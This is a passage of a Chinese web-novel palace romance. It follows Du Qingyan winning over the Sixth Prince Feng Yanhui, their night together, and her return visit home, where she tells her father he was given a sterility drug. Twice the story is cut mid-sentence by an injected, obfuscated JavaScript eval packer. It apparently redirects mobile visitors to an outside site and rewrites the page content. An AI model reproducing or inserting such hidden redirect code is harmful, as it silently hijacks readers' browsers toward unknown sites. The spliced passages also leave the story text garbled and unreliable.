凤燕回脸色有些阴沉,语气也不复平日待她那般温和。 “我于你而言不过是退而求其次的选择,若非你被抢了婚事,你会欢欢喜喜嫁入东宫,全力辅佐太子。” 杜清烟不知是哪里出了错,他突然会变了态度,瞧他的反应,她心里有些怵。 “殿下,您究竟怎么了?” 许是意识到失态吓到她了,凤燕回缓了缓情绪,闭了闭眼,再睁眼时眼神清明许多。 “今日你为我引荐林书琰,除了他是林姑姑的儿子外,还因他也曾是你择婿的人选之一,他如今财力富足,若选择站在太子一方,将来太子掌权,他一飞冲天,届时你……” “殿下!” 杜清烟听得云里雾哪里的,唤了凤燕回一声,让他瞬间恢复理智。 她郑重解释道:“殿下于我而言并非是退而求其次的选择,在我心里,太子从来不重要,但殿下不一样,我嫁殿下是真心的,想要殿下重新振作,殿下从很早以前便与云家绑在一起了,如今云家蒙难,唯有殿下是云家的指望。” 不等凤燕回开口,她又道:“所谓的我与太子的婚姻其实是先皇后与我母亲的约定,若先皇后还在,如今的东宫之位如何也轮不到凤燕霖来坐,若要真细论起来,我与殿下才是姻缘早定。” 凤燕回呆愣愣地看着她,半晌说不出话来。 他知她聪慧伶俐,许多事即便没理她也能说出歪理来,现下这事从她口中出来,他竟觉得她所言有理。 他母后定下的婚事自然是定给他的,只是当时谁也不知会有后来的变故,若他母后还在,一切按照原先的轨迹发展,他即便做不成太子,那他还是会娶她的。 是他被林书琰三言两语带偏了,失去理智来她这里撒泼,这下好了,将人惹恼了。 “我……”他欲解释却无从解释,总不能将责任推到林书琰身上,说是林书琰故意激他,而他竟真的上当了。 虽事实如此,可他难以启齿。 杜清烟何等聪慧,从他方才的话语里已然猜出是林书琰搞的鬼。 多半是林书琰想报复她当众揪他耳朵,故而挑拨离间了。 杜清烟叹气:“殿下,我与林书琰自幼一起长大,打闹惯了,有时他孩子心性,说话不着调,你莫要信他的胡言乱语。” 凤燕回有些不敢看她,低低应了一声后起身便要离去,杜清烟可不想功亏一篑,适时拉住他的手,对他温言软语。 “殿下难得过来,不若留下与我说说话。” 凤燕回又坐了回去,到底有些心虚,终是软着语气与她道歉。 “抱歉,方才我……” 杜清烟抬手抵住他的唇,柔声道:“我知殿下想说什么,既是误会解释清楚便结了,殿下莫要耿耿于怀,我与殿下夫妻一体,自然是能体谅殿下的。” 凤燕回垂眸凝视着她的脸,目光不觉下移落在她娇嫩的唇瓣上,喉结微动,他忽然回神赶忙移开眼。 杜清烟觉得莫名其妙,明明感觉他已经有所松动,怎地忽然又变了脸。 凤燕回退了一些,与她拉开了些距离,却是有些别扭道:“你惯会说好听的哄我,我甚至不知你说的话哪句是真心的。” 他所言便是他心中所想。 她狡猾得像只小狐狸,否则怎会轻而易举攻破他心房,轻易拿捏他的一切,牵动他的心绪。 杜清烟赶忙举手起誓:“杜清烟对殿下句句真心,若有欺骗,必遭天……” “罢了。” 凤燕回打断她即将出口的毒誓,冷然道:“此事是我错在先,与你无关,是我无理取闹了。” 杜清烟:“……” 她的夫君竟如此好哄?她甚至都没开始哄,他已自觉承认错误了? 既是如此,她自然该给他些甜头,这叫趁热打铁。 她主动凑过去,握住他恢复一些知觉的右手,摩挲他的掌心,“殿下知我心意就好,往后莫要胡思乱想了,眼下最要紧的事是为殿下治好右手。” 凤燕回看她的动作,心头微动,目光不自觉落在她脸上。 他不言语,杜清烟执起他的右手放在她脸上,她笑问:“殿下可感觉到了?” 他道:“感觉到什么?” 杜清烟嗔怪道:“自然是想让殿下感觉到我啊,殿下的右臂是中毒所致,我先前以为殿下施针疏通堵塞的经络,解毒的汤药日日喝着,这两人定然是有感觉的。” 凤燕回喉结滚动,僵硬道:“确、确实有些知觉了。” 闻言杜清烟松开他的手,笑盈盈道:“后续我会每隔三日为殿下施针一回,两月必定让殿下的手恢复如常。” “嗯。” 凤燕回应着,心却不知飘到何处去了。 因着杜清烟的主动挽留,凤燕回便也未再说要离开,吩咐卫风取执笔送来,他便在两人的新房中练字。 他在练左手写字。 杜清烟饶有兴致瞧了半晌,毫不吝啬夸赞他的字,虽马屁拍的有点假,但凤燕回很受用。 他提议道:“不若你来陪我一起?” 杜清烟摆手拒绝:“不了,我的字怕是会污了殿下的眼,便不在殿下面前献丑了。” 凤燕回若有所思道:“我记得幼时曾在母后宫里见过你写的字。” 幼时记忆虽有些模糊,但他记得她的字并不差,她如此这般倒是谦虚了。 她突然如此谦虚,倒是令他意外。 杜清烟怕的就是如此,他口中年幼时所见的字并非出自她手,而是云瑶所写。 他记忆中的人也是云瑶而非她。 可她无法与明说,又怕在他面前写字露出破绽,别瞧他如今被她迷得五迷三道的,他这般睿智,待回过神来定然会瞧出蹊跷。 “殿下也说了那是幼时之事,后来我随外祖父在外游历,不常练字,久而久之便生疏了。” 凤燕回意味深长道:“可我见过你写的方子。” 7. 同眠 杜清烟顿时哑火了。 行罢,他想看她便写,总归过去了那么多年,他那时尚且年幼,总不能过目不忘,对云瑶的字一眼便能分辨。 杜清烟接过他手中的狼毫,刷刷几下写下几个缭乱的大字,扬起下巴示意他评鉴一番。 凤燕回拿起认真瞧了起来,最后又放回去了。 “夫人墨宝,我等凡夫俗子实在是……”他谦虚起来。 目的达成,杜清烟得意挑眉:“殿下不必过谦。” 凤燕回扶额失笑,他算是明白了,她才是真的记仇,谁若逼她做了她不愿做的事,她定然是要报复回来的。 便是他也不列外。 二人在房中待了大半日,晚膳时绿竹在屋外提醒,凤燕回手执书卷正倚在竹榻上目不转睛盯着在书案后打瞌睡的杜清烟瞧。 方才叫卫风搬了书案桌椅过来,起先是他练字,后来他到竹榻上,杜清烟去书案后坐下看她珍藏的话本。 瞧着瞧着她的眼皮开始打架,而凤燕回察觉后便就一直盯着她看,越看越入迷。 绿竹的声音打断了凤燕回的思绪,也惊醒了打瞌睡的杜清烟。 她下意识的动作是先抹一抹嘴角,听到凤燕回的低笑声,她面露羞赧。 “殿下可是在笑我?” 凤燕回起身,行至她面前,隔着书案仔细盯着她的脸打量了一番,“夫人可是梦见烧鹅了?” 杜清烟下意识以为她在打瞌睡时流口水了,赶忙摸了摸嘴角,并无异常,顿时反应过来被他捉弄了。 她下意识的动作是伸手去拧凤燕回的耳朵,当碰到他的耳朵时猛然惊醒过来,快速收回手,讪笑着摸了摸自个的耳朵。 凤燕回笑容微顿,歪头问:“夫人方才可是想拧为夫的耳朵?” 杜清烟打着哈哈哈道:“殿下金尊玉贵,我可不敢。” “那你拧林书琰耳朵倒是熟练。”他淡淡道。 杜清烟道:“那不一样,我与书琰自幼玩在一处,打闹惯了。” 凤燕回不依不饶:“有何不一样,如今你我才是夫妻,你拧我耳朵岂不是更加名正言顺。” 杜清烟瞪大眼,惊愕不已。 “殿下,您莫不是有些不为人知的癖好?” 正常人哪有上赶着找她拧耳朵的,除非他是受虐狂。 凤燕回心下无奈叹气,慢慢来罢,左右已经将人娶到手了。 两人笑闹一阵后凤燕回吩咐传膳,府中婢女不多,两人成亲后凤燕回便让府中的婢女都来杜清烟身边伺候。 其实统共也就四个婢女而已,有两个还是厨房里的,算上绿竹有五个。 杜清烟不喜身边有太多人伺候,除了绿竹外,其余婢女便只在厨房或是院外,只有传膳时会进屋。 凤燕回待下人不算亲近,却也不曾苛刻,偌大的皇子府除了一个上年纪的管事外,其余是几乎全权交给了卫风。 自杜清烟入府后,府中事务交由杜清烟做主,管事把账本送到杜清烟跟前,杜清烟也是随便翻看了一下。 一眼她便看出凤燕回是真的穷。 一个皇子,竟然穷到这个地步,可见他过得还真是挺不好的。 什么田产铺子,私产家底什么的,她只瞧见了账本上记着的几个大字:全部捐出。 她好奇问管事那些银钱捐到何处去了,管事激动得老泪纵横,回禀说殿下将所有银钱捐到军营和善堂了。 杜清烟摸了摸袖中林书琰塞给她的那些银票,心里才算有了安慰。 两人一同用晚膳,杜清烟便说起了府中之事,凤燕回却只淡淡道日后她做主即可,言外之意是他不管这些。 听得杜清烟直翻白眼,直言道:“殿下可曾细算过府中还有多少银钱?” 凤燕回微愣,反问:“库房没钱了?” 杜清烟沉重地点头:“殿下若是再晚些娶妻,多半是要喝西北风了。” 凤燕回:“……让夫人跟着我受委屈了。” 杜清烟连白眼都懒得翻了。 用完晚膳后,凤燕回出去了一阵,小半个时辰便又回来了,他身后跟着卫风,而卫风怀里抱着一堆账本,将账本送进屋里后,卫风又小心翼翼地将一串钥匙呈给一脸茫然的杜清烟。 “夫人,此乃殿下另一个库房的账本与钥匙,殿下让属下交给您。” 杜清烟看向凤燕回,见他一脸神采奕奕,似乎很得意的样子。 她接过卫风呈上的钥匙,慢吞吞走过去翻了翻那堆账本。 哦,六殿下并没有真的穷到要喝西北风的地步,先皇后还为他留了后路。 在她好奇整理账本时,凤燕回去了净室沐浴,待他一身里衣躺床榻上时,杜清烟揉着眉心走了过来。 她与他商量起来。 “殿下,这些账本还是交由管事与手底下的人去核对罢,我实在是不擅于此。” 凤燕回很好说话地点头:“随你安排,若是不想动,吩咐卫风去安排也是一样的。” 杜清烟眼睛一亮,顿时又有精神了。 “那殿下库房里的银钱依旧交由我掌管如何?” 看她提到银钱眼睛发光的模样,凤燕回忍俊不禁,抚了抚她的脸颊,温声道:“理应由夫人掌管。” 杜清烟欢喜了片刻,后知后觉意识到他要留下与她同寝,顿时笑不出来了。 “殿下今夜可是要留宿?” 凤燕回道:“你我夫妻新婚,岂有分房而眠的道理。” 杜清烟心道:新婚夜殿下您可不是这番说辞。 正如他所言,他与她是夫妻,他与她同床共枕是人之常情,她总不能想法子撵他走。 杜清烟未在多言,起身去沐浴。 半个时辰后,她慢吞吞爬上喜床,大红鸳鸯被还未撤下,印得她脸都有些红了。 她越过他往里侧爬,不知他是有意还是无意,竟在她往里怕是曲起腿,她一个不防往他身前倒去,直直压在他身上。 他扔了手中的书卷,单手扶住她的腰,笑吟吟道:“夫人小心些,当心摔着。” 杜清烟手脚并用想爬起来,却被腰间的手压着动弹不得,他看着她狼狈扑腾,眼中笑意越发浓烈。 忍无可忍的杜清烟在他胸前挠了一把,顺着他松散的里衣伸了进去,原本只是想警告他一下,谁知他竟一把捉住她的手,手上使了巧劲未曾弄疼她,却翻身将她压在身下。 杜清烟吓得大气也不敢出。 “殿、殿下冷静……” 凤燕回目光灼灼,低头向她靠近,灼热的气息近在咫尺,杜清烟吓得花容失色,下意识咽了咽口水。 “殿下先听我说。” 凤燕回道:“夫人想与为夫说什么?” 杜清烟眼珠转了转,抬手抵住他的胸膛,挤出一抹笑:“我身子不方便,望殿下见谅。” 凤燕回僵住,脖颈蔓延出一片红,随后是耳朵,最后脸俊脸也红了。 他松开她,躺在她身侧,拉过大红喜被将她也盖住。 “不闹你,早些歇着,明日一早我陪你回门。” 三朝回门这一茬杜清烟还真忙忘了,听他提起才想起这事。 她犹豫道:“若是殿下不得空,这门也不是非得回。” 喜被之下,凤燕回轻轻握住她的手,温声道:“陪夫人回门怎么会不得空,夫人不必担心,为夫已将一切安排妥当。” 他一口一个‘为夫’自称,杜清烟听得心头直跳,她开始反思是否是她的一些言行过了头,令他深信不疑,深陷其中无法自拔了。 可这正是她所愿,事情往她所预想的方向发展,她该是欢喜的。 杜清烟轻轻回握了他的手,温婉道:“殿下待我真好。” 凤燕回哪里听不出来她口不对心,却又对她口是心非的样子无可奈何。 “夫人待我,我自然待夫人好。” 虽不是头一回同床共枕,但新婚夜他是昏睡着的,而她因为他施针忙活大半夜,最后是累倒在她身侧的,相比新婚夜的无知无觉,今夜两人同塌而眠就显得异常尴尬。 她翻来覆去无法入睡,凤燕回自然也同她一样,只不过他睡觉老实,不若她这般喜欢翻身。 许久后,凤燕回将翻身背对他的娇躯揽到怀中,闷声道:“与我同眠,你甚是紧张?” 杜清烟僵着身子,身后热意传来,表明着此刻两人亲密无间贴在一起。 “我有些不习惯。”她如实道。 凤燕回轻笑道:“我也不习惯,但你我已是夫妻,往后慢慢便习惯了,今日你且先适应一番。” 杜清烟在他怀里动了不敢动,想逃离又挣不开他他的手。 既无法挣脱,她索性便闭上眼不动了,不知是身后的热源暖和的缘故还是什么,不多时她便沉沉睡去。 凤燕回听到怀中人呼吸清浅,知晓她已然入睡,便也闭上眼。 一夜好眠,杜清烟在陌生的怀抱中醒来,而抱了她一夜的凤燕回尚在睡梦中。 熟睡时的他比平日里瞧着乖许多,俊逸的面容勾得人心猿意马。 杜清烟试探着伸手去触碰他的眉眼,在半空中堪堪停下,她意识到不能再过火了。 昨夜还只是相拥而眠,她若过火,他定然是不会轻易饶她的。 她得适可而止,若真撩过火了,到时她才是自讨苦吃。 在她收回手时凤燕回睁开眼,眼神中透着迷离,显然是才醒过来,反应有些迟钝。 他的手还搭在她腰间,轻微一动便觉有些不同,他也是后知后觉反应过来,与她四目相对时,他的脸又染上绯色。 杜清烟发现他是真的容易羞臊,表面装得镇定,实则纯情得不成样子。 她突然想到曾无意中听到杜夫人方氏与心腹嬷嬷说的一些事。 太子凤燕霖十四岁时房中便有通房丫头,且不止一个,若按照常理而言,同为皇子的凤燕回定然也该如此。 可他府中却连婢女都少之又少,通房丫头怕是没有的。 思及至此,她忽然笑了。 凤燕回先坐起身,动了动有些麻木的肩膀,听到她笑,不禁失笑。 “夫人笑什么?” 杜清烟凑过去,盯着他的脸瞧了许久,盯得他不自在地撇开眼,她才笑道:“我忽然想到一件与殿下有关的事,想向殿下求证。” 凤燕回正色道:“夫人有何事不明,为夫定知无不言言无不尽。” 杜清烟高深莫测一笑,有些不怀好意地问:“殿下府中为何不见侍寝宫女?” 凤燕回表情僵了一瞬,认真审视了她一番后确认她真的只是好奇,无奈道:“我府中为何要有侍寝宫女?” 杜清烟认真道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14484770|154505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“听闻太子与三皇子皆是在十三四岁时便有了启蒙宫女,便是殿下您再不受宠,这等美事,您也该有份才是。” 凤燕回咬牙切齿:“……此等美事?” 他到底娶了个什么的奇女子,每每语出惊人,这大清早的在床榻之上与她讨论此等事,若非知晓她真的只是好奇心重,他真要怀疑她是在故意拈酸吃醋了。 当然,他更希望她是拈酸吃醋,而非故意逗弄他。 可是事实却是,她只是好奇而已。 凤燕回倾身将人压回床上,本欲吓唬吓唬她,谁知她竟然对他出手了。 她的手来到他腰腹间,猛地掐了一下。 凤燕回顿觉浑身都麻了,难以置信地睁大双眼。 杜清烟也是在做完这一举动后傻眼了,她怔怔看着犯错的手,有些茫然,有点惶恐。 手是她的,事便是她干的。 压在她身上的男人血气方刚,她一瞬便感知到了。 她定然是被美色所惑才做出如此可怕之举,她掐哪儿不好,非掐他的…… “殿、殿下请冷静……”杜清烟紧张得语无伦次:“那什么……时辰不早了,殿下该起了。” 凤燕回一动不动压着她,脸色一阵青一阵红,听到她的话,脸又黑了。 “夫人大清早莫不是在勾引为夫?”他声音低沉,呼吸也重。 杜清烟放开抵着他肩膀的动作,在他的注视下拍打方才掐他的那只手一下,义正言辞道:“犯错的手是这只,我罚过了,殿下大人不记小人过,忘了罢。” 这如何能忘? 凤燕回眯了眯眼,眼神晦暗不明,在她还想狡辩时忽然低下头将她开合的嘴堵个正着。 正如她所想的那般,他对男女之事一窍不通,一切不过随本能而为,吻她的动作一气呵成,可真堵住她的嘴了却不知下一步该如何。 杜清烟懵了,双眼圆睁,放大的俊颜在她眼中仿佛定格般,她的眼睛里只有他的脸。 他、他竟然亲她! 几乎是这个念头在她心头闪过,她便抬起双手抵住他的肩想要将他推开。 而凤燕回下意识的动作是捉住她的手掌控住,因有这样的动作,脑子瞬间清醒过来,意识到做了什么,他猛地退开,像是受到惊吓一般。 杜清烟被他的举动惊了一下,随即反应过来,顿时怒火中烧。 “凤燕回,你……” 凤燕回为掩饰慌乱,直接躺回喜床上,大红喜被一卷将他裹紧被子里,捂得严严实实。 只听他闷声道:“为夫尚有些困乏,夫人可先行更衣梳妆。” 瞧着他裹得像蚕一样,杜清烟好气又好笑,自然不会如他的意。 知他定是羞臊了,她便故意去掀他想用来遮羞的被褥。 “殿下方才不是还生龙活虎么,怎地突然困倦了,莫不是……”她故意凑近他的耳旁,低笑道:“不行?” 喜被下躲着的人动了动,也只是动了动而已,再无别的动作。 他躲起来,她便追得他无处可躲,言语挑逗不成,她便行动起来。 她先拍了拍喜被,提醒道:“殿下若是还想赖床不起,那我可要抱殿下了。” 喜被下的人又往一侧滚远了些,显然是要离她的魔爪远一些。 杜清烟见他如此,索性直接扑上去,隔着喜被将人压在身上,伸手往被子里探去挠痒痒。 事实上她的法子奏效了,凤燕回见躲不了,便将裹着的喜被掀开了,只是掀开后一阵风似的逃到了屏风后。 杜清烟乐不可支,在喜床上打滚。 “凤燕回,你脸皮怎地这般薄,跟个大姑娘似的。” 屏风后人影静止了一瞬,随后是一阵窸窸窣窣的声音,但许久都未能从屏风后出来。 杜清烟笑够了,叹了口气,赤脚下床,就着单薄的里衣便绕过屏风去帮他。 他右手虽有好转,但到底是行动不便,穿衣需要她相帮。 果不其然,凤燕回的衣袍穿上身,扣子与腰带他却无法系上,挣扎了许久又不好意思唤她。 杜清烟看他俊脸微红,在她靠近时他眼睛都不知该往哪儿瞟,真真是一个面皮薄的俏郎君。 最后为他系好腰带,她趁机在他劲瘦的腰间摸了一把,如愿见到他又红了的耳根,她适时退开。 “殿下,可还满意?”她明知故问。 凤燕回到底是男子,心知她是有意作弄,即便心乱如麻,他也得端出镇定的姿态。 “夫人受累。” 言毕,他看也不敢看她一眼,同手同脚往外间而去。 杜清烟暗自笑了一声,揉了揉酸痛的腮帮,自行换好衣裳,唤绿竹进屋。 绿竹进屋后用奇怪的眼神在杜清烟身上上下打量,末了一阵长吁短叹。 “姑娘,你可是对六殿下见色起意了?” 杜清烟掬水净面的动作一顿,水自手中溅到地上,她又接连捧了几把水浇在脸上,然后抹了把脸上的水。 “何出此言?” 绿竹笑道:“方才殿下从屋里离开时有些慌乱,我不了解六殿下,可我了解姑娘你啊,打小你便喜爱容色,六殿下长得这般招人,姑娘如何能忍住不下手,我倒是有些怜悯六殿下了,若他知晓姑娘你对他的蓄意撩拨只不过是一出美人计,殿下怕是心都要碎了。” 8. 一剂猛药 杜清烟接过绿竹递过来的帕子擦脸,脑中浮现的是昨夜与今日一早与凤燕回的那些亲昵之举。 她的蓄意引诱,凤燕回何等睿智,岂会分辨不出真心与假意,看似他沉浸其中,可到底是谁入了谁的棋局还不一定。 杜清烟叹道:“一出美人计,谁是美人谁又中了计,不到最后一刻如何能下定论呢。” “姑娘……”绿竹一脸迷茫,真诚发问:“你与殿下的这出美人计还有别的美人?” 杜清烟摇头失笑,绿竹并非局中人,有些事她不必知晓。 “时辰不早了,下去准备一下,稍后殿下与我一同回相府。” 绿竹应道:“昨夜我听卫风说了,他说殿下先前便已吩咐过回门的事,回门礼早已备好了。” 闻言,杜清烟倒是有些惊讶,她以为凤燕回陪她回门不过是一时兴起罢了,未曾想他早有吩咐,这事传到绿竹这里自然是觉得凤燕回待她十分上心。 她仔细回想,凤燕回待她确实很好,短短三日,他与她之间似乎多了种无形的牵绊。 待杜清烟收拾妥当,凤燕回早已等候她多时,再见到她时,他又是那个冷静肃然的六殿下。 此番回门,二人同乘一辆马车,马车后面还跟了辆马车拉着回门礼。 杜清烟并未过问回门礼一事,既然是凤燕回事先吩咐过的,一切由他做主便是,她乐得清闲。 这一回是凤燕回先下马车,在她下来时他生出右手扶着她,杜清烟脸上笑意盈盈,浑身上下透着新婚的喜气。 饶是从前杜清烟在相府时多被忽视,但此番六殿下携她回门,杜相与方氏还是早早在府门前迎接。 瞧见凤燕回待杜清烟极好,方氏手中的帕子几乎要被她搅烂了。 那日杜清若回门时太子虽然也来了,可明眼人皆瞧得出来杜清若与太子之间生疏冷淡,而太子新婚夜先去侧妃房中一事已在京中传的沸沸扬扬,太子还因此遭了陛下斥责,罚闭门思过,而相府何尝不是因为此事颜面尽失。 先前好不容易遮掩过去的丑事再被提及,又有风言风语再传当初是相府使了见不得人的手段将相府二姑娘塞给了太子,故而太子才会在新婚夜那般羞辱太子妃。 更有传言太子侧妃柳氏原本与太子情投意合,而柳氏乃兵部尚书柳颂的独女,若无相府横插一脚,柳氏便是东宫太子妃了。 这些流言传到方氏耳中,几乎气得她七窍生烟,只有想到她的亲生女儿杜清若已是太子妃,她的气才顺了些。 如今瞧见六皇子待杜清烟这样好,方氏又恨又气,可她是相府的主母,人前只能作出一副慈爱模样。 在杜清烟被凤燕回扶着下了马车后,杜相与方氏皆笑容满面迎了上来。 人到中年依旧不失儒雅风范的杜柏谦恭敬朝凤燕回行了一礼。 “见过殿下。” 方氏见状赶忙跟随福身行礼,垂首时压下眼底的不屑,跟在杜柏谦身旁,她向来一副和善样。 凤燕回牵着杜清烟的手此时松开,朝杜柏谦虚扶了一下。 “相爷无需多礼。”他脸上除了冷肃,并未多余表情。 杜清烟默然看着一切,目光冷不防抬眼望来的杜柏谦对上,她不闪不避,眸光冷淡。 杜柏谦却失了神。 与凤燕回成亲后,杜清烟无需再遮掩容颜,额前厚重的留海不复存在,现下她光明长大以真实面貌示人。 杜清烟知晓杜柏谦为何会在见到他的脸后失了态,因她这张脸与杜柏谦那早逝的原配夫人云锦绣有五六分相像。 凤燕回瞧见杜柏谦盯着杜清烟失神,俊眉微蹙下意识看向杜清烟,瞧她看杜柏谦的眼神疏离冷淡,不由得又牵住她的手。 “烟儿。”他低声轻唤。 杜清烟神色瞬时恢复,朝他微微一笑,“殿下,外面冷,先进去。” 杜柏谦恍然回神,又是一派从容样,赶忙迎凤燕回入相府。 “殿下里面请。” 凤燕回微微颔首,算是给足相府脸面,他的目光自方氏身上扫过,方氏察觉,将头垂得更低了些。 杜柏谦最会察言观色,见凤燕回看向方氏的眼神有异,心中一惊,但未听凤燕回说什么,他给方氏使了眼色,方氏吓得脸色一变,往后退了几步。 凤燕回牵着杜清烟慢悠悠朝相府里走,一路上相府的下人好奇观望,不敢凑上前,待他们走远后私下凑在一起悄悄议论。 早前只听闻这位传闻中失了宠的六皇子是众皇子中生的最俊的,今日得见真容,当真惊为天人。 最让相府下人意外还是六皇子牵着的女子,他们实在难以置信,她竟然是在相府中待了一年多,平淡无奇寡言木讷的大姑娘。 盛装打扮后的杜清烟容姿清绝,身上再无一丝唯诺胆怯,娴雅端庄,气质清贵,与凤燕回并肩而行,犹如天生一对。 杜清烟如今在相府无牵无挂,所谓回门不过是按规矩走个过场罢了,但这一出戏她得陪凤燕回唱下去。 杜相的两个女儿,一个嫁太子,一个嫁六皇子,现下太子又有了柳尚书的助力,可谓是风头正盛,而太子待太子妃轻慢漠视便是打相府的脸。 以杜清烟对杜柏谦的了解,他无论如何也是咽不下这口气。 且不论杜柏谦今日对凤燕回的恭敬有几分真,眼下便做做样子也是对凤燕回有益的。 今日她来相府也是来给杜柏谦下一剂猛药的。 凤燕回在相府不过待了一盏茶的功夫便有人来报说是陛下急召,凤燕回离开前温言软语与杜清烟叮嘱了一番,让她在相府等他,他从宫里出来后会来相府接她。 而凤燕回说这些话时并未避开旁人,杜柏谦与方氏瞧了个真切。 凤燕回走后,方氏顿时换了副嘴脸,当着杜柏谦的面便阴阳怪气起来。 “大姑娘当真是好福气,嫁了六殿下,鹣鲽情深,羡煞旁人,虽说比不得若儿尊贵,可这六殿下虽废了一只手,年满十八未得封王,但好歹也是皇子,老爷与妾身见了都是要行礼的。” 杜柏谦皱了皱眉,有些不悦,却未呵斥方氏。 杜清烟仿佛没听到方氏的话,慢悠悠饮茶,轻抿一口便放下,抬眼看向杜柏谦。 “父亲近来身子可好?”她状似关切地问了一句。 听到这个与他无甚父女感情的女儿的关心,杜柏谦愣了一下,随即心底涌上一丝暖意,望着她的脸,仿佛又看到亡故的发妻,不觉对眼前这个被他忽视了许多年的女儿生出了几分愧意。 “为父近来确有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14484771|154505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些倦乏,还是你心细,竟察觉到了。”杜柏谦的神情带了几分欣慰,接着又愧疚道:“先前是为父疏忽了,对你关怀太少,你莫要记恨。” 杜清烟笑了笑:“父亲多虑了,女儿自是不敢记恨父亲的。” 闻言,杜柏谦的表情变得有些不自然。 她说不敢,不是不会。 “烟儿,为父老了,时常会忆起与你母亲在一起时的时光,为父对不住你母亲,也对不住你……如今你与若儿皆已出嫁,想来你母亲若是泉下有知,定然也是欢喜的。” 听杜柏谦提起已故的云锦绣,杜清烟眼中划过冷意,脸上却是漾起一抹笑。 “父亲如此为我与若儿如此谋划,母亲自然是欢喜的。” 她的话让杜柏谦本就不自然的表情变得更加尴尬了。 而方氏在杜柏谦当着她的面怀念已故原配时就白了脸,几次张了张嘴却说不出话,她如何不委屈,这么多年操持这个家却未得一句宽慰夸赞,她为这个男人奉献了一切,他却只记得另一个女人的好。 方氏越想越委屈,苍白着脸起身对杜柏谦道,“老爷,妾身有些不适,便不扰老爷与大姑娘叙父女情了。” 然而她并未得到一句关怀,杜柏谦只是冷淡地应了声‘嗯’后便没有多余的话了。 方氏离去时狠狠瞪了杜清烟一眼,杜清烟不以为意轻笑,杜柏谦却沉了脸。 堂中只余父女二人,杜柏谦问:“先前你在府中时,方氏便是如此待你的?” 杜清烟未答,站起身来到杜柏谦面前,面带关切,有些担忧道:“女儿观父亲面色实在不好,若父亲信得过,可让女儿为父亲探一探脉。” “你……” 杜柏谦惊讶看她,突然又想到什么,露出了然一笑。 “也是,你跟在你外祖父身边多年,定是学了些本事的。” 他确实是忽略这个女儿太久了,当初接回她不过是因林春当中提及要接她回京之事,林春的身份摆在那里,他不好拂了林春的面子,而且他也思量过,多一个女儿,若是利用得当,他将会多一份助力。 如今看来,当初将她接回相府是正确的。 杜柏谦左手伸开放在桌面上,杜清烟探手搭上他的脉搏。 只见她反复探了三次,一次比一次面色凝重。 杜柏谦看她的面色变化,心里有种不好的感觉,但他在诡谲的朝堂都能从容应对,此时也能保持冷静。 “可是有何不妥?” 杜清烟脸色微变,吞吞吐吐,想说又不敢说的样子。 “父亲……” 杜柏谦缩回手,下意识捏成拳,面上倒是从容平静。 “此处只有我们父女二人,有话你但说无妨。” 杜清烟犹豫许久,在杜柏谦面露不耐之色时支支吾吾道:“我观父亲脉象……父亲似是被、被下过绝、绝子药……” ‘啪’的一声脆响,原本在杜柏谦手边的茶杯落在地上碎裂成片,茶水溅湿了杜清烟的鞋面。 杜柏谦再难维持表面从容,面色铁青,看向杜清烟的眼神也有几分凶狠。 “你说什么!” 杜清烟畏惧地后退了两步,一副战战兢兢的样子。 “许是我瞧、瞧错了……” 9. 疼不疼 见她吓得不轻,杜柏谦恢复几分理智,揉了揉眉心,疲态尽显。 “为父并非冲你发火,只不过是你所言过于匪夷所思,为父也是慌了神,你是知晓的,为父膝下除了你与若儿便只有耀宗一个儿子,耀宗又是个不成器的,若是为父……相府后继无人,你与若儿将来便也没了依仗。” 杜柏谦眼中腾起希望之色,继续动之以情晓之以理。 “为父知晓你定是随你外祖父学了些本事,你既能瞧出为父被人下了药,那定然是知晓该如何解的。” 其实他这些年并非没有怀疑过自身出了问题,除了随年岁渐长在房事上越发力不从心外,他后院的妻妾唯有方氏诞下一子后其余妾室无一人生下一儿半女。 他仔细回想,似乎除了已故的原配云锦绣为他生下女儿外,便只有方氏为他生了一儿一女,这些年他后院添的妾不多,却也是抬了几个年轻貌美的,她们的肚子却始终没有动静。 私底下他请过大夫,但大夫也未能瞧出个所以然来,如今竟听到这样的噩耗,且是从他的亲生女儿口中说出来的。 杜清烟犹疑道:“许是我学艺不精,父亲不妨请齐回春齐太医瞧瞧,兴许……” 经她提醒,杜柏谦恍然大悟,随即唤了贴身随从进来,低声与随从耳语交代了几句,随从听完吩咐急匆匆而去。 杜清烟暗自弯了嘴角,她深知杜柏谦生性谨慎多疑,不会轻易信她的一面之词,齐回春乃太医院院首又深得陛下信任,他的话杜柏谦肯定会信。 事实上,杜柏谦确实被下了绝子药,此事不光她一人知晓。 杜清烟见杜柏谦隐约有些焦灼不安,便安慰了几句,话里话外暗示他若是真如她所料那般被人下了绝子药,后续调理得当,并非无痊愈的可能。 杜柏谦闻言打量她许久,道:“想来你先前早已瞧出端倪,为何今日才与为父挑破?” 此事并不高明,杜柏谦老谋深算,冷静一想便能想到她今日忽然提醒并非偶然。 他有些看不懂眼前这个女儿,先前她回到相府一年多,人前总一副唯诺胆怯的样子,不争不抢,存在感极低。 出嫁之后却仿佛变了个人似的,这让他如何不起疑。 